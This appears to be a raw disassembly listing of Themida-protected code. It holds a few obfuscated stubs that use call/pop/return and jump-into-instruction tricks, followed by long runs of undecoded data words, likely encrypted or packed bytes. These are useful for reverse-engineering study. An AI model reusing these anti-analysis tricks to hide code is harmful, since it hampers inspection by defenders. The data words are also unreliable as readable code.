call sub_5A0BBF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A0BBF proc near ; CODE XREF: Themida_:005A0BB7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
locret_5A0BCE: ; CODE XREF: Themida_:005A0BD1j
retn
sub_5A0BBF endp
; ---------------------------------------------------------------------------
jmp short loc_5A0BD3
; ---------------------------------------------------------------------------
jmp short locret_5A0BCE
; ---------------------------------------------------------------------------
loc_5A0BD3: ; CODE XREF: Themida_:005A0BCFj
inc esp
jmp near ptr 0B65977F1h
; ---------------------------------------------------------------------------
push ecx
pop ds
adc [esi], al
push 0
push edi
call sub_5A0BE8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A0BE8 proc near ; CODE XREF: Themida_:005A0BE0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5A0BE8 endp
; ---------------------------------------------------------------------------
dd 56502D57h, 0B995FFD9h, 0E906102Dh, 8, 0E6A64452h, 9342B20Fh
dd 95FF006Ah, 61031C9h, 4EEBC08Bh, 2D71B35h, 0FD53499Fh
dd 8962C745h, 0CD1A7F11h, 0F6FE36D3h, 711F11A9h, 0B40F18D2h
dd 60A957F6h, 0E382E5A8h, 97E67E04h, 8F330EBEh, 0FAEC5DD6h
dd 28C1A416h, 0D00D6B7Ah, 0CBFB1039h, 2FD59D81h, 247733Fh
dd 39CB53AFh, 0AD90C09h, 12E89F1Dh, 32000000h, 433CD04Ah
dd 67B3D85Ch, 0ACC4AED7h, 9C688288h, 0D9853116h, 5F061013h
dd 1DBD9D33h, 0C7810610h, 5BFBh, 21A59D89h, 680610h, 58000000h
dd 0FFF1B70Fh, 0DF8B3834h, 9D8B5359h, 6102FA9h, 68C1815Bh
dd 811E27E7h, 58672FCBh, 2CE98176h, 0F34605Dh, 683h, 19958B00h
dd 8106100Bh, 0AFA09DE9h, 41BD8959h, 5106100Ah, 46EE8153h
dd 5B1323C9h, 6607048Fh, 0E973D9BAh, 6, 0CF565E08h, 0E881A368h
dd 4A7EA90h, 15618589h, 0C0810610h, 4A7EA8Ch, 86BB6652h
dd 0F8815A30h, 0FFFFA4C0h, 0FF89850Fh, 0FE9FFFFh, 0A5000000h
dd 0D05BC954h, 15666A67h, 0E6ECE940h, 8D8DA8A5h, 61559C4h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 3AC35646h
dd 6E6FF76h, 0C681EFE6h, 5195081Fh, 9F58D89h, 8B660610h
dd 1985C7D6h, 98061023h, 6A000070h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0B624C356h
dd 0F89CCA58h, 0E9B4727Eh, 0Dh, 14978CD5h, 0A2A64858h
dd 19C295Ah, 0E985013Eh, 0C7061032h, 1022C185h, 6, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 41726D56h, 0FF500EDDh, 101F51B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B52388C7h
dd 610329Dh, 2DB995FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 85891EC3h, 6101705h
dd 95FF006Ah, 61031C9h, 4EEBC08Bh, 0EFE4BBD2h, 1C609D1Ah
dd 0F0B87F7Fh, 15DF0FC9h, 0C28017BFh, 0F442AD17h, 0A99F2272h
dd 8B9B9378h, 9B3FC7F8h, 1B200387h, 0D17C6D10h, 7DA828AFh
dd 0F3C1F14Ah, 44EEBEF7h, 181ECB32h, 907F678Bh, 6B750430h
dd 11FE1D6h, 0C8B9595Fh, 20E94D80h, 64000000h, 26907Fh
dd 6 dup(0)
dd 0E9000000h, 4EEh, 4AFE41F1h, 6ADE15CBh, 41FD36EBh, 64D815BAh
dd 38F433D5h, 20C43652h, 3BEE6DE1h, 13B73EFAh, 2ED564D8h
dd 764A45F9h, 0D9260FB3h, 420AE76Bh, 50447932h, 74F9739h
dd 27B34C6Dh, 8A11CDA9h, 0B1B9A3E1h, 253B43A6h, 0DCC8FDA6h
dd 11887C58h, 0C67C2F5Ah, 1E6DCCE2h, 8D4C1E42h, 70F4A0D7h
dd 0DD12B9h, 0B4E187FEh, 0CCE24DF5h, 0ECDA96Dh, 4E421E57h
dd 44ED841Bh, 9B9709Bh, 266DCCE2h, 0D4504481h, 0C304A51Ch
dd 5D6F53CFh, 0CCE214AEh, 5074F06Dh, 903702DCh, 0CCBA75Bh
dd 0EE721E53h, 71AC62D9h, 388A815Fh, 0DC6DCCE2h, 9F36B80h
dd 0AF639A52h, 691D96B3h, 16E8422Eh, 0CCE2AF13h, 0FEEB476Dh
dd 33B91FA2h, 83502D03h, 0E3F5A1E2h, 0BA70B150h, 934CCB7Fh
dd 0B7728C5Eh, 6DCC200Bh, 0AC5A6FEBh, 0CC2040FDh, 59F8C76Dh
dd 3307BE7Dh, 5D7A568Dh, 6ADA579Ah, 593733h, 32950000h
dd 542A4479h, 0CC7CED55h, 518C426Dh, 4C812AA1h, 0C4FBB128h
dd 877754D0h, 0CC7C60E0h, 7B1AA96Dh, 6B36337Eh, 11333h
dd 0D7790000h, 7C4002A9h, 0C8A46DCCh, 498028B3h, 0E0624937h
dd 46DCC7Ch, 34535328h, 2AA1558Ch, 215C4885h, 8A42E382h
dd 0A760D753h, 3230B672h, 0E062497Eh, 46DCC7Ch, 0C5A1D68Dh
dd 2ED6F5A1h, 0B256E5F7h, 0C6A37F73h, 41E083D8h, 62E42CE0h
dd 0A643FD6Bh, 0CBC67C2Fh, 421E6DCCh, 0F86421Eh, 0A5E48858h
dd 2AE56CF1h, 0F04F7872h, 77B055D4h, 0D7CBA78Bh, 0F82DD665h
dd 78B158E3h, 1C5B0D8Ch, 80BF7168h, 0DA4B794h, 69DD6BFh
dd 0F4FF5C4h, 0B905ECBh, 607D5960h, 6AA46697h, 7A4633h
dd 26380000h, 0C4B3F093h, 6DCCFA7Eh, 0E7BD9A96h, 206104D7h
dd 60DBF074h, 22B96DACh, 0F54D3C6Bh, 4A6DCC7Ch, 0B6B26AA3h
dd 0ECD3E69Ah, 45EA7155h, 43181C08h, 1995D478h, 0C3AFEEA2h
dd 2EE21FC4h, 32B74E65h, 336B33EFh, 50CFh, 96D73D00h, 6A1BD4A6h
dd 8FD14429h, 57F9C297h, 47126C18h, 0B6BA66A5h, 361348FFh
dd 0E28EC97Dh, 98993807h, 76CCBFF4h, 8E6DCC8Dh, 6CFAAE92h
dd 4F437A32h, 0CC7CBF08h, 0A03F806Dh, 6B356C45h, 0AC5DDC33h
dd 0FEE217D0h, 97390E12h, 1, 427B32F5h, 5B90374Eh, 0EF863DA7h
dd 0F2669F46h, 7B55868Dh, 0ABF2AC52h, 81565C0Eh, 694FAC5Fh
dd 3B3767FCh, 62975047h, 83B86FE6h, 1878C88Fh, 1AD1943Ch
dd 4C3F31E5h, 943C18F6h, 0F193120Eh, 54EBBEB2h, 0E3BC0FBDh
dd 93EE54Ch, 0A02209F7h, 44943C18h, 0CC4B13E8h, 3832DE13h
dd 18DF6326h, 3B37943Ch, 1EEE951Eh, 0DF432F66h, 0D4780F03h
dd 45EAE195h, 897DBA6Dh, 0E2DDC9ADh, 691EA241h, 411FBB5Ah
dd 3C18F84Ah, 2B401C94h, 0A8C2F7B0h, 0FCA48031h, 7155D1C5h
dd 0D617E25Ch, 0B6397AD1h, 0F0h, 0E9EEA3C8h, 0DD45826Dh
dd 9ECB5899h, 7653AB11h, 1EBD5CAEh, 266C5D4Ch, 37A67FCh
dd 0F67A265Dh, 0F8AF26DAh, 0D79007C3h, 30D7EEA2h, 315207FBh
dd 0B7EC9392h, 44471903h, 9423AAFEh, 3A3D1A16h, 397B5F77h
dd 4757h, 0C15CB500h, 9B1E401Ah, 0D5CEABE8h, 0EDCC7C4Dh
dd 52190D69h, 0EDCC7CF0h, 0C8871EDDh, 0AAD4A635h, 0CC7C43FFh
dd 10C7A3EDh, 0F26E2257h, 9A0803D5h, 3A6DCC7Ch, 9A4D0CDEh
dd 0E4B6805Dh, 8C78AF55h, 6116D3A8h, 66000000h, 4C1EBD5Ch
dd 0FC0C3C5Dh, 7C4ECA67h, 70BCEB4Fh, 0C2797FEBh, 0CFACF0Eh
dd 2DA1D68Dh, 0D4C0F5AEh, 238D3A85h, 0F3923194h, 88447932h
dd 2D3F9C3Bh, 205EAD40h, 363F2C6Dh, 555426DDh, 942333EDh
dd 28502D09h, 1699A981h, 35E13D9Eh, 0CCB8ED96h, 0D38827DAh
dd 0C6C59744h, 94202314h, 72F8B4B0h, 0C4EE96D7h, 610EFF65h
dd 1DAF98Ch, 0A24A11EFh, 644AF362h, 0DF03BB5Dh, 0CBC9210Ah
dd 15D67F9h, 98CD7615h, 0B9EE9524h, 0DF409ECDh, 0AAF9F5A3h
dd 0B1812A0Bh, 5F03C2FDh, 0D8C4024h, 56752156h, 168074B1h
dd 0A65DC45Bh, 853EBD71h, 0FCAA450h, 0DE64275Eh, 36B4A9DFh
dd 8841163Ah, 3, 326D5FF4h, 52493D80h, 19B06499h, 4F463A75h
dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
dd 0CF554178h, 81E68956h, 4C6h, 4BA5200h, 29000000h, 34875AD6h
dd 5A685C24h, 89000061h, 9C68243Ch, 89000049h, 4E682434h
dd 89000030h, 41B9240Ch, 8906155Ah, 0B06859CFh, 89000022h
dd 4832424h, 815E0424h, 4ECh, 243C8900h, 0FF08468Fh, 815E2434h
dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFB2144h, 7F3B5A04h
dd 0C1B8DA04h, 306155Eh, 60E0FFC5h, 2D594E55h, 734F8E74h
dd 0E9734AD3h, 13h, 265B9BEFh, 3 dup(0)
dd 0E9000000h, 528h, 6ADE21D1h, 4AFE35EBh, 61DD16CBh, 44F835DAh
dd 58D413B5h, 40E41672h, 1BCE4D01h, 33D75EDAh, 0EB544F8h
dd 966A65D9h, 0D9232F93h, 62EAC76Bh, 50447932h, 0E4589739h
dd 8D79AE55h, 4417550Eh, 0EDFB1BB3h, 2B183D58h, 0CE1B8E3Eh
dd 0E187FEF2h, 0DCC3F6AAh, 0EE23DC45h, 0BB0702DCh, 5B6DCC39h
dd 0E574EAFFh, 0C3520641h, 60A6491Fh, 69685AF3h, 27DBF7E6h
dd 5C7B274Bh, 2ABC68A9h, 0A8DF8554h, 51457A31h, 8C23F8D5h
dd 0A2D98F4Ah, 0F4936BB5h, 0A6C3379Dh, 8A3E792Dh, 6BDEBBB0h
dd 0EBA9797Dh, 699E450Eh, 9651EEBDh, 0E5D66DCCh, 16CD8C4Eh
dd 0BA130CE1h, 2A336A4Bh, 0ABC0FBAFh, 0AF45h, 4D78700h
dd 8D46235Eh, 0A6F5A1D6h, 6DCC7C1Eh, 0C501A01Fh, 601451F6h
dd 63A44504h, 0E196B3AFh, 336B3610h, 1F0h, 7A325A00h, 7CE45E4Dh
dd 24006DCCh, 7CE35F4Ah, 27036DCCh, 56E5574Bh, 0C15E6BB1h
dd 4AF316FDh, 0E1F67A26h, 617BB25Ah, 0C02B936Ch, 0F2079459h
dd 0B5F29534h, 3069209Bh, 0B36C6B1Bh, 4DF3927Eh, 4F066A16h
dd 0A8AF6398h, 2F4B7817h, 0EF6D2C0Ah, 203CCFF3h, 9DBAF599h
dd 6BE67FEh, 0ABB9BFC6h, 0CCB64200h, 0A1C6A26Dh, 94B0A2B4h
dd 1AEAA118h, 0AAEB9E74h, 4C2EAAC6h, 9CE3B71Fh, 600CFB4Fh
dd 90D7046Fh, 31FBD00Fh, 533F7E32h, 0A1558C34h, 0F938D7ECh
dd 8DCA7D57h, 5B99D99h, 0EC98CD76h, 13FF38EDh, 50F8CE74h
dd 0ED096D19h, 0B3EAA239h, 5AF98ABFh, 5FF68D76h, 0D70CC07Bh
dd 0CC7C6ED4h, 0C6AA866Dh, 3433EEB1h, 6D13336Bh, 79000000h
dd 533F7E32h, 0A0548D34h, 0BB1FB60Dh, 0DB9C092h, 9E2E1B5Ch
dd 32A9BE4Eh, 0C8B3F7Eh, 6471958h, 34C1239Ah, 6B1B308Fh
dd 867AB76Ch, 0EA0FA6DDh, 336A5C37h, 4A17h, 7E327500h
dd 58532D3Fh, 6DCC7CEAh, 4D390E0Ah, 0A95D984Eh, 58412A56h
dd 3B15FB32h, 0F68D2E4Bh, 8A3E7D2Fh, 67DBCEB0h, 0B86DCCFAh
dd 4521D514h, 30FCD14Dh, 4F437A32h, 0CC7CBF08h, 0A03F806Dh
dd 6B356C45h, 14C33h, 32BE0000h, 374E427Bh, 0D207C090h
dd 721E421Eh, 9832D160h, 0B61C85C6h, 0CE488E37h, 0CC0C9B27h
dd 289F7B6Dh, 0A62D4A7Fh, 0AD12C6FFh, 0F09BB526h, 67FC760Bh
dd 8E4D1FFBh, 51AE9BDAh, 0FDEF0AD6h, 23A26479h, 0B3793E7Ch
dd 2B122CE2h, 2E7C781h, 0BD99A8CFh, 9CD17A01h, 0BF03C1E8h
dd 5F40943Ch, 8C3306C0h, 0B2C7AB57h, 914D8229h, 782C610Ah
dd 8175AA61h, 1918B7CCh, 0BE813D72h, 397A72F3h, 140D3h
dd 0BD5C3900h, 6C5D4C1Eh, 7A67FC26h, 0C178F29Eh, 3BF8D50Ah
dd 5CDB4F84h, 3826EA3h, 1E7B275Ch, 0DD65243Ah, 399423AAh
dd 0E47B203Dh, 0B96BE9E2h, 2AD136ECh, 0A8DD864Dh, 0F3A86934h
dd 5288397Bh, 0B6000000h, 4A61E1C8h, 0A9859423h, 0C15CF8D4h
dd 9B1E401Ah, 7BF7ABE8h, 7C3DA55Eh, 0C2D9EDCCh, 431FD30Ah
dd 9E24731Fh, 3FEDCC7Ch, 4F6AE180h, 2BB7728Ch, 0CB6DCC7Ch
dd 0C26ADB4Fh, 96000000h, 3FF168h, 0CC7CA919h, 0C2802B6Dh
dd 226DCC7Ch, 0FDDA5646h, 15BD5C27h, 6E14324Bh, 0FCCEF2A9h
dd 0FC176C0Dh, 0E5D3F867h, 397972D5h, 0E0D288DAh, 9A453FBh
dd 3E322EF4h, 0EE6DFFECh, 4BBB11F2h, 0C499D88Ch, 9F1B50F7h
dd 463A6F18h, 3C43A41Fh, 6D049B94h, 72E61BC4h, 0FBD5060Dh
dd 0B210FBE5h, 52943C41h, 5D498A3Bh, 23E0FDD9h, 9E09E6C2h
dd 32691F9Ah, 907D93Eh, 6AFEFE58h, 0DB57486h, 0E99E1665h
dd 0AEAA708Dh, 0E71CC3C2h, 7B1AA93Bh, 0F406D5E4h, 8D35F40Ah
dd 699E1665h, 0D233F00Dh, 8A9423C2h, 35E11ACFh, 0A661C31h
dd 8BC469F0h, 0F8BE9B97h, 2AF52526h, 49DB845Eh, 72876BA4h
dd 1EBD5CDAh, 0DBB85D4Ch, 0EA4667F9h, 18E89F36h, 9D113574h
dd 4430651Eh, 55DAF415h, 0DE15CBF4h, 0B4EF9332h, 0BF56EDC0h
dd 0E195D076h, 0F5CE6185h, 0FB30D75Eh, 0DA0FB83Fh, 7EF3CB00h
dd 1BF6360h, 79403AECh, 0D8218FD7h, 39E92736h, 0F00D691Dh
dd 8F83C063h, 4ED76E05h, 708E6095h, 572709B9h, 5C71EDB4h
dd 77AC53E2h, 221A8Bh, 93260000h, 67CBB7ECh, 9DEFBE82h
dd 0B7941BD0h, 3F215FEDh, 9E31B50Eh, 8574AFF4h, 6DCC6E3Dh
dd 0A4805DD9h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh
dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h
dd 5B5453CFh, 4C381h, 0EB830000h, 241C8704h, 0E689565Ch
dd 4C681h, 0EE810000h, 4, 5C243487h, 68243489h, 109Ch
dd 83243C89h, 48904ECh, 7321B824h, 40BE6AA9h, 19B6BECh
dd 8B5458C6h, 0C483243Ch, 4EC8304h, 8F243489h, 3C8B0847h
dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch
dd 4C4815Eh, 0E9000000h, 0FFFB1BE8h, 867EA415h, 156412B8h
dd 0FFC50306h, 5A8165E0h, 8B004860h, 873C2D0Fh, 702B8B5Ch
dd 0B0E974h, 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h
dd 10149985h, 36840F06h, 3B000000h, 1020E585h, 2A840F06h
dd 3B000000h, 102E6185h, 1E840F06h, 3B000000h, 100F7985h
dd 12840F06h, 83000000h, 101C95BDh, 840F0106h, 5, 5FE9h
dd 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h
dd 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h
dd 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h
dd 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 104E859Dh, 5B806h
dd 0E3FF0000h, 0D00BC361h, 0CE8h, 92720400h, 309C82F4h
dd 5E02E430h, 0DBD8BA8h, 5B06101Ch, 9AC381F9h, 8B000069h
dd 101AE1B5h, 89C03306h, 1009C9BDh, 1834FF06h, 1BD58D31h
dd 0BE5A0610h, 58F4F8B9h, 0E6E7C281h, 59571BBDh, 0DD53F281h
dd 9D015474h, 61013ADh, 1143EA81h, 958905D3h, 610003Dh
dd 89031489h, 1029799Dh, 0C8B96606h, 3E883BFh, 8B485E50h
dd 1007D1BDh, 24F88106h, 0FFFFF97h, 2985h, 10E900h, 55A00000h
dd 0E79DF83h, 0CAF31EF4h, 26E344A5h, 2CE9A955h, 9F000000h
dd 4C2A5271h, 7B33BADBh, 3CD4881Eh, 0BD239667h, 6100FB9h
dd 0FFFF78E9h, 0FDA8A8FFh, 31CF959Ch, 76BE4F1Ah, 0C2FCE75Bh
dd 0E935F4BBh, 76h, 3D163F38h, 726F6853h, 74756374h, 206F7420h
dd 72617473h, 707574h, 17h dup(0)
dd 0ADE90000h, 6800000Eh, 6156834h, 0FBE443E9h, 690B68FFh
dd 39E90615h, 68FFFBE4h, 6156AD1h, 0FBE42FE9h, 6B1F68FFh
dd 25E90615h, 68FFFBE4h, 6156BF9h, 0FBE41BE9h, 6C6E68FFh
dd 11E90615h, 68FFFBE4h, 6157067h, 0FBE407E9h, 72CE68FFh
dd 0FDE90615h, 68FFFBE3h, 61573DBh, 0FBE3F3E9h, 0BB6D62FFh
dd 7C117E6h, 0C0726B5Ah, 782A2293h, 0CE88DA2Bh, 40C3B381h
dd 0B203500Ah, 3DB0E59Fh, 0BB0A5709h, 43A1EEA8h, 0AB3443B0h
dd 0C7211DDDh, 0AA075CD3h, 0C8453A5Dh, 3BC81B17h, 17C8451Ch
dd 4D194D39h, 73E89976h, 943BF5EBh, 0D118ABE6h, 0E78C6EA5h
dd 184CD228h, 0DEED3C57h, 0C46A6F24h, 4884F1C0h, 1289BB96h
dd 0A1A605D6h, 62780300h, 941DD897h, 943BF5E5h, 7E29ABE6h
dd 86A41EB6h, 209F4FE5h, 0B875C0D3h, 5A00F11h, 9382A72Dh
dd 4096BEh, 48EA0000h, 0D690C11Ah, 68570BB7h, 0F458FC17h
dd 7E41C25h, 0C7731AD4h, 0F3F5D29Bh, 841DD8B5h, 87AEF998h
dd 4811B8B4h, 0D423E099h, 0B8B50827h, 54A14D11h, 7C2647F9h
dd 0BE934816h, 0B307h, 0AB5A5B00h, 685DFEB8h, 0CB1AB973h
dd 67B6DD97h, 3776AB74h, 131ADEFh, 0ECDF2E55h, 1C2EBB32h
dd 0EEAF5B62h, 0F7F448B7h, 538817C8h, 0EAF9CC99h, 2309130h
dd 0BAF8837Ah, 5D1DD8FCh, 51FDE4B1h, 0DA25D62Dh, 11B8DFB7h
dd 56ADEE9Eh, 0CB9797A9h, 0BD34E017h, 33601A30h, 0E0D690C2h
dd 0E212B18Eh, 7019AFB2h, 2800000Ch, 0D5287D2Fh, 299CC983h
dd 0E0CD8234h, 905D32E4h, 61D3803Ah, 2BC0E91h, 0AF69604Dh
dd 9BB13E2h, 0C07A695Ch, 35C21193h, 1DDDAD22h, 5CE59533h
dd 0FDB7AB06h, 44D67906h, 8F7F17C8h, 2C1F8EC3h, 93807B72h
dd 0B4866457h, 7A287D1Eh, 8B621A48h, 0D845E2E0h, 1048951Dh
dd 38830A56h, 11B84515h, 986A03BAh, 0BE93B812h, 0B803h
dd 75C4700h, 0E3F7464Dh, 0C89C4E88h, 0A0528CF9h, 0B387D4FFh
dd 0C917C849h, 42B3E09Ah, 0D5385711h, 49480669h, 0C0EF2415h
dd 76D01D94h, 0DB289BC4h, 1DD7861Dh, 54550AFAh, 0DC2796EEh
dd 17CA1DBDh, 6615EC98h, 0B60BBD17h, 39E5EC9Eh, 833D8D78h
dd 2130BB2Ch, 340BA4B4h, 6F3E2748h, 0CF4BA15Bh, 0F3E21424h
dd 0B99D870h, 0FE510000h, 0B2A6174Ch, 35AABF8h, 9BB10451h
dd 1949BCE9h, 7242325Fh, 0B4E19BAFh, 9561041h, 0A3F0A2BCh
dd 1A470152h, 9DBC479Ah, 0B81DDDADh, 65C6A1Eh, 0B5A6174Ch
dd 0DE3A41ECh, 0CA965B7Eh, 2AD52695h, 17C90107h, 8E35E7DFh
dd 0C99282E0h, 0AE3D5AA1h, 1878F77Ah, 40ABCE39h, 0FAAA17C9h
dd 0CB0005A6h, 0FD53A211h, 240CDB34h, 0A7FBCB53h, 4B80CD06h
dd 79D32291h, 59783226h, 0EDB8F9ADh, 6F3E46ECh, 0D6014994h
dd 20411925h, 733A58A3h, 711D1DD9h, 116E0552h, 0F26111B9h
dd 0D9ED7C37h, 0F65C8627h, 0E7BE92EBh, 7, 817133Bh, 48970000h
dd 0E08B621Ah, 1DD8561Ah, 53A221CDh, 8774600h, 0B833DC7Bh
dd 0E48D7911h, 651F3481h, 57A4115Eh, 3A8E78FCh, 6135E7DFh
dd 65C01362h, 0E6EDB973h, 0DFF7B231h, 917691E2h, 0E1E06E4Fh
dd 0A540630Ch, 7421DBF0h, 0F9985281h, 738288AEh, 0C1BE3DAAh
dd 359E06Ah, 0C1843251h, 416AFD1Ah, 0FD4E07A2h, 0AC9F0E43h
dd 0FF6CFBF2h, 0AA736670h, 0CAA86276h, 0B10291DAh, 0DB3C42D6h
dd 0BDDE2C76h, 743E204Ah, 0E8A2B8AAh, 8F419CE9h, 670271F0h
dd 54A3FC4Fh, 743D88A7h, 8021CDAAh, 0C81BCA63h, 5F74410Eh
dd 3CE27502h, 8373AA74h, 3C91E0CFh, 0ED48038Ah, 6D9A3232h
dd 7E15560Ah, 604F371Bh, 8463E913h, 774636B0h, 12DC7B08h
dd 8D79A464h, 0B61F81E4h, 509FE74Bh, 743675A3h, 8CC431AAh
dd 5AAB89D2h, 46FE5204h, 64CFCB7Bh, 579E57Ch, 176F41AEh
dd 0BC68C653h, 0F68EB415h, 8A637C07h, 0EFEC046h, 4701529Fh
dd 0FEB8AB1Ah, 995A52A8h, 851B9E39h, 9D3h, 0EDA2548Bh
dd 410EC800h, 0FAA75974h, 721FD10Bh, 0C0954F83h, 0D101846Ch
dd 667B4A17h, 0D006F7ACh, 4F84711Eh, 8DDCC095h, 0DDAF4FE2h
dd 0C068061Dh, 0FEB8AB5Ah, 3B8AD37Fh, 0C17BCD28h, 0A55F73C2h
dd 0B747A5F1h, 3D5F093h, 985E880h, 0A3D0000h, 0A6BA0B58h
dd 0F46B7ECh, 9FB5085Dh, 1545B8EDh, 4E36065Bh, 88DD97CBh
dd 356A2435h, 87DC8EC8h, 366B2536h, 0B9D823B6h, 9C1DDDAFh
dd 75C5642h, 0E3F7464Dh, 0F8877C29h, 0C844EC8Bh, 0F4BD6917h
dd 62CD5FCh, 96C42F7Eh, 101DD868h, 86D2A45Fh, 0C45FA86Bh
dd 0B8105EF1h, 56F98611h, 0FF11B810h, 3C65110Fh, 0B10C4C38h
dd 0D375695Fh, 0BE3549F5h, 0ABF5F31h, 358C7856h, 0B35FA5Ah
dd 0DC85A729h, 70AB68B7h, 2E7F0D0Ah, 92C802C8h, 879127AFh
dd 7C67CBE6h, 0EACB60EFh, 5D09F549h, 9C31766h, 3093DC8Ah
dd 0B4C330BFh, 0A149EACAh, 0C25BACF5h, 9F4FFE50h, 46F00EFh
dd 43D74675h, 986B34E0h, 1340FAE9h, 49FB51A0h, 0F4AE9D28h
dd 0E19298F6h, 27BDBCA9h, 8ABh, 0E5BA6C63h, 5906C018h
dd 92BF716Ch, 2A772923h, 98CD87DBh, 959DCA4h, 9EB3024Fh
dd 83EAFE4h, 0A7BC0956h, 0A534B8EDh, 0DDB0375Ah, 0D8C01E1Dh
dd 464D075Ch, 782DDFF7h, 0C8454887h, 0A0E44A17h, 0A9B8A651h
dd 37E71DDDh, 702A39C8h, 0C781D223h, 0AF6979C8h, 3544AF40h
dd 2011B2DDh, 0A92B2C65h, 0EFA3D013h, 7ED825AEh, 8EAAEECCh
dd 6BEEDC06h, 836D5h, 27D9EE00h, 9B558B7Ah, 2CDEF7C6h
dd 9C4E8677h, 2AE4F6C7h, 7C3F0775h, 6F7AC66h, 794C19D3h
dd 0FDEB365h, 4F4D02BCh, 0B0E06FFCh, 0DB751DDDh, 0AA075C2Fh
dd 0C8453A5Dh, 376B1B17h, 0BF1A4998h, 79BDC089h, 167DB602h
dd 0CB97434Ah, 8A5385F4h, 7B1FE25Eh, 16570BB4h, 0EB86157Dh
dd 226F293Ah, 83902AB0h, 46B142B8h, 17C86933h, 0EAE99BB3h
dd 2546363Ch, 4EC77h, 1A48CB00h, 0EBDE8B62h, 0FE49231h
dd 655EFFB9h, 771A6516h, 0DE17C845h, 1C9A6D2Eh, 831DDDABh
dd 1ECB1C93h, 0D0357628h, 15F2C17Bh, 55A5F118h, 0F5B0F1ECh
dd 8E3543F4h, 2E41AE3Dh, 2711B2B6h, 9D13677h, 648B1F22h
dd 0F85E34EDh, 0E93805AFh, 5Fh, 5EA95A41h, 17C8453Bh, 1D3CC71Ah
dd 3817C845h, 0B6AB184Ch, 1D3EB3FCh, 48E7946Bh, 9C17C845h
dd 4491A04Bh, 3FE717C8h, 0F021402Eh, 0AEEF9F85h, 6CB7D6C6h
dd 3830930Dh, 1546B34Ah, 0D891125Bh, 0EA2994FAh, 1585D8h
dd 5ADD0000h, 0D6FDB7ABh, 7AFE6D28h, 7DC19907h, 1E28834h
dd 48200000h, 11626117h, 0EAB36D64h, 34B1C51Dh, 8039A891h
dd 0F0243CA2h, 292D31h, 48750000h, 11626117h, 45821562h
dd 14D317C8h, 0A71C3483h, 5A034FB3h, 34D8F66Dh, 0EF8A3991h
dd 0EFF78D13h, 6C7C31h, 48C40000h, 0E5926117h, 17C84552h
dd 0D5B00403h, 0EFF7670Dh, 0D324D3A3h, 0FF7E3026h, 67D16053h
dd 0F58417C8h, 0C867E78Ah, 0D27E6E17h, 0FB45CE89h, 28FAB328h
dd 0B88353C2h, 31B3h, 0E7335000h, 0F2930EBh, 4896D49Dh
dd 0E5926117h, 17C84554h, 329E1905h, 2FCA7989h, 83B3CD53h
dd 0CBCB8h, 13040000h, 138h, 975181F0h, 0E31394D6h, 97000000h
dd 52521748h, 0AE2AE348h, 0A6586D42h, 0D8277B27h, 0B6BDDC27h
dd 0EC9817C8h, 0C4BF10C3h, 756528BEh, 2B6614BBh, 9EBFCE37h
dd 189A5D29h, 0B9286Dh, 0D3E4BC22h, 3125D40Dh, 5B52007Fh
dd 780C8110h, 8728D4C2h, 6855h, 5F770600h
dd 48A604ADh, 0E5926117h, 17C84552h, 1F6C1303h, 37E8722Ch
dd 0E1B16CE3h, 0D8A3E47Bh, 35EFE491h, 2F706Ch, 48B80000h
dd 1E31BE17h, 3717C845h, 57A41B47h, 17C84538h, 552711Dh
dd 84E8728Eh, 3B17D281h, 25A3E0D5h, 18C4h, 0CD087500h
dd 0A5C6741Bh, 5EA95AC5h, 17C8453Bh, 7B416A1Ah, 7Ch, 0B6AB5A0Fh
dd 448BAE59h, 0DACA17C8h, 0EBE0E586h, 0B4419231h, 2FE7D49Dh
dd 80982CF0h, 1A3C8BD4h, 8F17C889h, 0EBE09550h, 1B33C231h
dd 0F3BC6A69h, 0A95AE8B2h, 644F015Ch, 17C844D5h, 271F9480h
dd 94C52C75h, 0B95F01E4h, 9A39F3E6h, 6261134Bh, 73831EB5h
dd 7621BC6Bh, 17C8521Dh, 0E50550CFh, 0B6EA8E42h, 849EC126h
dd 372CD9B8h, 7A8567Dh, 0FFFEDBD5h, 5A132DFFh, 97000002h
dd 0B5AC075Ch, 7A26D4FBh, 1BD50653h, 87FF6346h, 0E7765B38h
dd 0D8C99CFh, 0E145F64h, 591DD8C3h, 0B2D926ADh, 1D11B897h
dd 0B1370BA6h, 0A0BE9360h, 41h, 621A48E8h, 8FDC8Bh, 5517C845h
dd 6CFB08A9h, 5516C8FDh, 0D8457072h, 6376071Dh, 43D67906h
dd 8F7F11B8h, 420EBCC3h, 15C7FE6Bh, 59FC474Ch, 7611B844h
dd 0CE542EC7h, 0BFBE93B8h, 0D2h, 4D075C03h, 4D88F546h
dd 2546F49Bh, 0D1F0AAA0h, 75928582h, 0AA15026Bh, 15CF0401h
dd 9D3BE19Eh, 0AAB0423Ch, 5083D201h, 8BFAC996h, 0F5D29B55h
dd 17C8762Dh, 0D42FC4Fh, 0FDEA68Ch, 0DD78A360h, 0C7E47F05h
dd 0C8655DFCh, 630CF817h, 1B021360h, 8FDE1DDBh, 55DF803Ah
